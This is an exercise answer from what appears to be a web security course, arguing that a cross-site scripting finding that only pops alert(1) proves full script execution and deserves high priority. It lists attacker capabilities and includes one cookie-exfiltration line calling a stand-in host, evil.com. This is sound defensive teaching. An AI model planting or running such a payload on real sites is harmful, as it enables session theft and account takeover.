EXERCISE 3 — Rebuttal to "it's just an alert box, low priority"
================================================================

THE CLAIM:
  "The pentest only found an XSS that pops alert(1). It's just an alert box --
  low priority."

WHY THE CLAIM IS WRONG (the core point):
  alert(1) is used in a PoC because it is harmless, instant, and unambiguous
  proof that ATTACKER-CONTROLLED JAVASCRIPT EXECUTES on the page in the
  victim's session. The alert is just the payload string. The CAPABILITY
  proven -- arbitrary same-origin script execution -- is identical no matter
  what code you put there. Swapping alert(1) for a malicious one-liner is a
  trivial text change; the vulnerability is the same. So "it only pops an
  alert" describes the DEMO, not the RISK.

FIVE CONCRETE THINGS THE SAME INJECTION POINT COULD DO INSTEAD:

  1. STEAL THE SESSION / RIDE IT.
     Exfiltrate document.cookie (if not HttpOnly), OR -- regardless of
     HttpOnly -- make authenticated requests as the victim (change email/
     password, transfer funds, read private data) and read the responses.

  2. BYPASS CSRF PROTECTION & TAKE OVER THE ACCOUNT.
     Read the anti-CSRF token from the page and submit a valid "change email"
     -> trigger password reset to the attacker's address -> full account
     takeover (CSRF course chain), all from the one XSS.

  3. HARVEST CREDENTIALS / KEYLOG.
     Add a keydown listener to capture the password as typed, or inject a fake
     "session expired, please log in" form on the REAL domain (valid cert,
     correct URL) and post the credentials to the attacker.

  4. STEAL TOKENS / DATA FROM STORAGE & DOM.
     Read localStorage/sessionStorage bearer tokens, scrape personal data,
     messages, or API responses the user can see, and exfiltrate them.

  5. SELF-PROPAGATE OR PERSIST AS A FOOTHOLD.
     If stored, seed an XSS WORM (Samy-style) that infects every viewer; or
     hook the browser (BeEF-style) to maintain control, fingerprint it, and
     pivot to the internal network the victim can reach.

WHY ALERT vs SESSION-STEALER DIFFER ONLY BY PAYLOAD, NOT CAPABILITY:
  - Both run in the SAME execution context (same-origin script, victim's
    session). The browser grants the injected code the full privileges of the
    page either way.
  - alert(1) and  fetch('//evil.com/?'+document.cookie)  are both "arbitrary
    JS that the app let an attacker inject." The first is chosen to be safe to
    demonstrate; the second is chosen to be harmful. Nothing technical
    distinguishes their ability to run -- only the author's intent.

CONCLUSION / RECOMMENDATION:
  Treat any confirmed XSS as FULL COMPROMISE of that page in the victim's
  session (account takeover, data theft, worm potential). It is typically
  rated High/Critical, not low. Prioritise the fix: context-aware output
  encoding (Chapter 6), sanitization (7), CSP (8), and set HttpOnly as a
  partial mitigation -- but the bug itself must be closed.